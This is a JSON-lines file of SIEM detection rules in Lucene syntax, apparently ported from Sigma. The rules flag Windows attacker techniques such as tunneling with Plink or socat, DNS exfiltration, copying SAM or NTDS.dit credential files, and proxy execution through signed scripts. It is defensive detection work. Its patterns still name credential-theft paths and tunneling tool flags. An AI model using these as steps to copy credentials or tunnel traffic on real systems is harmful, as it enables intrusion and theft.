{"description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a760752-00ff-45eb-0089-56136acbcfc3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code", "query": "(process.command_line:*\\\\SyncAppvPublishingServer.vbs* AND process.command_line:*;*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a760752-00ff-45eb-0089-56136acbcfc3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code", "query": "(process.command_line:*\\\\SyncAppvPublishingServer.vbs* AND process.command_line:*\\\"\\\\n;*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "Signed Script Proxy Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7312f76d-9f26-56df-650c-726820063ea2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "InfDefaultInstall.exe .inf Execution", "query": "(process.command_line.text:*InfDefaultInstall.exe\\ * AND process.command_line.text:*.inf*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Execution of a renamed version of the Plink binary", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2b2f9d2d-eb1e-8fdc-fb47-45569612ebee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution Of Renamed Plink Binary", "query": "((winlog.event_data.OriginalFileName:\"Plink\" OR (process.command_line.text:*\\ \\-l\\ forward* AND process.command_line.text:*\\ \\-P\\ * AND process.command_line.text:*\\ \\-R\\ *)) AND (NOT (process.executable.text:*\\\\plink.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Execution of well known tools for data exfiltration and tunneling", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6d5ac3d1-5c56-8ea0-3cef-9b12382ca288", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Plink Usage RDP Tunneling", "query": "(process.executable.text:*\\\\plink.exe AND (process.command_line.text:*\\:127.0.0.1\\:3389* OR (process.command_line.text:*\\:3389* AND process.command_line.text:(*\\ \\-P\\ 443* OR *\\ \\-P\\ 22*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1572"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Execution of well known tools for data exfiltration and tunneling", "enabled": false, "false_positives": ["Legitimate Administrator using tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dea1c3de-f435-c701-5681-cdf841287d44", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Exfiltration and Tunneling Tools Execution", "query": "process.executable:(*\\\\plink.exe OR *\\\\socat.exe OR *\\\\stunnel.exe OR *\\\\httptunnel.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1041", "T1071", "T1572"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1041", "name": "Exfiltration Over C2 Channel", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Exports the target Registry key and hides it in the specified alternate data stream.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a2cc6be3-3a6f-fbe9-5c67-523a94dfa85d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exports Registry Key To an Alternate Data Stream", "query": "process.executable:*\\\\regedit.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Oddvar Moe", "Sander Wiebing", "oscd.community"], "license": ""}
{"description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", "enabled": false, "false_positives": ["WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", "msxsl.exe is not installed by default, so unlikely.", "Static format arguments - "], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "24228724-8c37-ded2-2904-d16a3d1409e1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "XSL Script Processing", "query": "(((process.executable:*\\\\wmic.exe AND process.command_line:*\\/format*) OR process.executable:*\\\\msxsl.exe) AND (NOT (process.command_line:(*\\/Format\\:List* OR *\\/Format\\:htable* OR *\\/Format\\:hform* OR *\\/Format\\:table* OR *\\/Format\\:mof* OR *\\/Format\\:value* OR *\\/Format\\:rawxml* OR *\\/Format\\:xml* OR *\\/Format\\:csv*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1220"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1220", "name": "XSL Script Processing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Extexport.exe loads dll and is execute from other folder the original path", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "100ab96e-ef11-4fff-8c0e-ab234977feae", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Extexport Execution", "query": "process.command_line:*Extexport.exe*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Extract data from cab file and hide it in an alternate data stream", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "45a74bef-5042-1415-483b-c6aa9bb9b870", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Extrac32 Alternate Data Stream Execution", "query": "(process.command_line.text:*extrac32.exe* AND process.command_line.text:*.cab* AND (process.command_line.text:/:/ OR process.command_line.text:/[/ OR process.command_line.text:/^/ OR process.command_line.text:/\\/ OR process.command_line.text:/\\/ OR process.command_line.text:/]/))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Extract data from cab file and hide it in an alternate data stream", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "45a74bef-5042-1415-483b-c6aa9bb9b870", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Extrac32 Alternate Data Stream Execution", "query": "(process.command_line:*extrac32.exe* AND process.command_line:*.cab* AND process.command_line:/:[^\\\\\\\\]/)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution", "enabled": false, "false_positives": ["Legitimate high DNS NULL requests rate to domain name which should be added to whitelist"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "0f7725d9-736a-fcbc-7c86-5a38de983608", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "High NULL Records Requests Rate", "query": "dns.question.type:\"NULL\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048", "T1071"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "threshold": {"field": "source.ip", "value": 51}, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution", "enabled": false, "false_positives": ["Legitimate high DNS TXT requests rate to domain name which should be added to whitelist"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "30062397-060e-4521-302d-e5b7cc9f3bed", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "High TXT Records Requests Rate", "query": "dns.question.type:\"TXT\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048", "T1071"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "threshold": {"field": "source.ip", "value": 51}, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", "enabled": false, "false_positives": ["Legitimate Administrator using tool for password recovery"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a81071f5-b4ed-da57-1360-0de5bb46c44e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cred Dump Tools Dropped Files", "query": "(file.path:(*\\\\pwdump* OR *\\\\kirbi* OR *\\\\pwhashes* OR *\\\\wce_ccache* OR *\\\\wce_krbtkts* OR *\\\\fgdump\\-log*) OR file.path:(*\\\\test.pwd OR *\\\\lsremora64.dll OR *\\\\lsremora.dll OR *\\\\fgexec.exe OR *\\\\wceaux.dll OR *\\\\SAM.out OR *\\\\SECURITY.out OR *\\\\SYSTEM.out OR *\\\\NTDS.out OR *\\\\DumpExt.dll OR *\\\\DumpSvc.exe OR *\\\\cachedump64.exe OR *\\\\cachedump.exe OR *\\\\pstgdump.exe OR *\\\\servpw.exe OR *\\\\servpw64.exe OR *\\\\pwdump.exe OR *\\\\procdump64.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1003", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Files with well-known filenames (sensitive files with credential data) copying", "enabled": false, "false_positives": ["Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c488b3d6-deda-8154-ce0b-fadc0c02703a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Copying Sensitive Files with Credential Data", "query": "((process.executable:*\\\\esentutl.exe AND process.command_line:(*vss* OR *\\ \\/m\\ * OR *\\ \\/y\\ *)) OR process.command_line:(*\\\\windows\\\\ntds\\\\ntds.dit* OR *\\\\config\\\\sam* OR *\\\\config\\\\security* OR *\\\\config\\\\system\\ * OR *\\\\repair\\\\sam* OR *\\\\repair\\\\system* OR *\\\\repair\\\\security* OR *\\\\config\\\\RegBack\\\\sam* OR *\\\\config\\\\RegBack\\\\system* OR *\\\\config\\\\RegBack\\\\security*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Find information about network devices that is not stored in config files", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Commonly used by administrators for troubleshooting"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "96ef9579-3962-b900-1be8-a3ec349bcbfa", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Cisco Discovery", "query": "((*dir*) OR (*show processes*) OR (*show arp*) OR (*show cdp*) OR (*show version*) OR (*show ip route*) OR (*show ip interface*) OR (*show ip sockets*) OR (*show users*) OR (*show ssh*) OR (*show clock*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1016", "T1018", "T1033", "T1049", "T1057", "T1082", "T1083", "T1124", "T1201"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}, {"id": "T1018", "name": "Remote System Discovery", "reference": ""}, {"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}, {"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}, {"id": "T1057", "name": "Process Discovery", "reference": ""}, {"id": "T1082", "name": "System Information Discovery", "reference": ""}, {"id": "T1083", "name": "File and Directory Discovery", "reference": ""}, {"id": "T1124", "name": "System Time Discovery", "reference": ""}, {"id": "T1201", "name": "Password Policy Discovery", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Find local accounts being created or modified as well as remote authentication configurations", "author": ["Austin Clark"], "enabled": false, "false_positives": ["When remote authentication is in place, this should not change often"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b2c09201-e872-f74d-4222-ea8da6cf9abf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cisco Local Accounts", "query": "((*username*) OR (*aaa*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098", "T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}, {"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.", "enabled": false, "false_positives": ["Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b1da6152-2297-cdf2-7e2b-6c0bc58d1bc1", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Bad Opsec Powershell Code Artifacts", "query": "(powershell.command.invocation_details:(*$DoIt* OR *harmj0y* OR *mattifestation* OR *_RastaMouse* OR *tifkin_* OR *0xdeadbeef*) OR winlog.event_data.Payload:(*$DoIt* OR *harmj0y* OR *mattifestation* OR *_RastaMouse* OR *tifkin_* OR *0xdeadbeef*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["ok @securonix invrep_de", "oscd.community"], "license": ""}
{"description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f2cd9495-88e6-198c-381d-956db8da62e7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Conhost Legacy Option", "query": "(process.command_line:*conhost.exe* AND process.command_line:*0xffffffff* AND process.command_line:*\\-ForceV1*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": ["", "", null], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ee7c9b12-eed5-ef7f-2884-01013cc0c7a6", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "F-Secure C3 Load by Rundll32", "query": "(process.command_line:*rundll32.exe* AND process.command_line:*.dll* AND process.command_line:*StartNodeRelay*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alfie Champion (ajpc500)"], "license": ""}
{"description": "Generic rule for SQL exceptions in Python according to PEP 249", "enabled": false, "false_positives": ["Application bugs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c2bbac1a-c6fe-73c7-b9a4-8cab07a18d3f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Python SQL Exceptions", "query": "(*DataError* OR *IntegrityError* OR *ProgrammingError* OR *OperationalError*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Get the processes that are running on the local computer.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b6819d8a-a136-1250-b757-374e20df0db3", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Process Discovery With Get-Process", "query": "powershell.file.script_block_text:*Get\\-Process*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1057"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1057", "name": "Process Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Hides the file extension through modification of the registry", "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "902e39ce-1ee6-0d97-9d22-f77119ab0b04", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "IE Change Domain Zone", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet\\ Settings\\\\ZoneMap\\\\Domains\\\\*) AND (NOT (winlog.event_data.Details:(\"DWORD\\ \$0x00000000\$\" OR \"DWORD\\ \$0x00000001\$\" OR \"\$Empty\$\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Hides the file extension through modification of the registry", "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49a38073-0750-1909-2978-4eda10f5defc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Registry Modification to Hidden File Extension", "query": "(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\HideFileExt AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden AND winlog.event_data.Details:\"DWORD\\ \$0x00000002\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "High DNS requests amount from host per short period of time", "enabled": false, "false_positives": ["Legitimate high DNS requests rate to domain name which should be added to whitelist"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "bf0aebc9-a968-7e52-0c63-a1664792ff83", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "High DNS Requests Rate", "query": "dns.question.name:*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048", "T1071"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "threshold": {"field": "source.ip", "value": 1001}, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "High DNS requests amount from host per short period of time", "enabled": false, "false_positives": ["Legitimate high DNS requests rate to domain name which should be added to whitelist"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "bf0aebc9-a968-7e52-0c63-a1664792ff83", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "High DNS Requests Rate", "query": "destination.port:\"53\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048", "T1071"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "threshold": {"field": "source.ip", "value": 1001}, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f200a16c-bbec-1534-23c3-7d8f535ead44", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Host Without Firewall", "query": "(event.category:\"Security\\ Policy\" AND host.scan.vuln_name:Firewall\\ Product\\ Not\\ Detected*)", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Alexandr Yampolskyi", "SOC Prime"], "license": ""}
{"description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "53c243cd-2e1a-d9ed-0363-59708c27b228", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Detecting Fake Instances Of Hxtsr.exe", "query": "(process.executable:\"hxtsr.exe\" AND (NOT (process.working_directory:C\\:\\\\program\\ files\\\\windowsapps\\\\microsoft.windowscommunicationsapps_* AND process.working_directory:*\\\\hxtsr.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool.", "enabled": false, "false_positives": ["Legitimate use of net.exe utility by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f9d1ab2-c9c2-3809-dad6-f769c50c2e14", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Windows Network Enumeration", "query": "((process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*view*) AND (NOT (process.command_line:*\\\\\\\\*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1018"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Endgame", "JHasenbusch (ported for oscd.community)"], "license": ""}
